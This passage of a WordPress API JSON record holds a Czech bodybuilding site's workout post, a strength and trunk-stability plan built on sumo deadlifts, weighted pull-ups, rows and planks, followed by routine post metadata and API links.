tahy a p\u0159\u00edtahy, p\u0159i\u010dem\u017e cvi\u010den\u00ed uzav\u0159ete tr\u00e9ninkem b\u0159icha. ZAC\u00cdLEN\u00dd NA: MAXIM\u00c1LN\u00cd S\u00cdLU A STABILITU TRUPU. SCH\u00c9MA OPAKOV\u00c1N\u00cd: V\u00a0P\u0158\u00cdPAD\u011a MRTV\u00ddCH TAH\u016e ODCVI\u010cTE T\u0158I S\u00c9RIE O T\u0158ECH OPAKOV\u00c1N\u00cdCH, V\u00c1HU ZVY\u0160UJTE TAK, ABYSTE V\u017dDY MOHLI PROV\u00c9ST SKUTE\u010cN\u011a JEN T\u0158I OPAKOV\u00c1N\u00cd. PAK POU\u017dIJTE V\u00c1HU ODPOV\u00cdDAJ\u00cdC\u00cd 80 % T\u00c9 P\u016eVODN\u00cd A PROVE\u010eTE T\u0158I S\u00c9RIE O MAXIM\u00c1LN\u00cdM MNO\u017dSTV\u00cdM OPAKOV\u00c1N\u00cd. CVIK \/ S\u00c9RIE\u00a0 \/ OPAKOV\u00c1N\u00cd Sumo mrtv\u00fd tah\u00a0\u00a0 TKZ*\/3\u00a0\u00a0\u00a0 3\/TKZ Shyby se z\u00e1t\u011b\u017e\u00ed\u00a0\u00a0\u00a0\u00a0\u00a0 3 (80 %)\u00a0\u00a0\u00a0 TKZ P\u0159\u00edtahy ve stoji\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 3\u00a0\u00a0\u00a0\u00a0 3 Vzpory \u00a0 3\u00a0\u00a0\u00a0 1 minuta *TKZ \u2013 tolik, kolik zvl\u00e1dnete \u00a0 Popisy proveden\u00ed pou\u017eit\u00fdch cvik\u016f najdete v\u00a0SK 2\/19.<\/p>\n","protected":false},"author":1,"featured_media":78,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-75","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/75","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=75"}],"version-history":[{"count":6,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/75\/revisions"}],"predecessor-version":[{"id":85,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/75\/revisions\/85"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/78"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=75"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=75"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=75"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}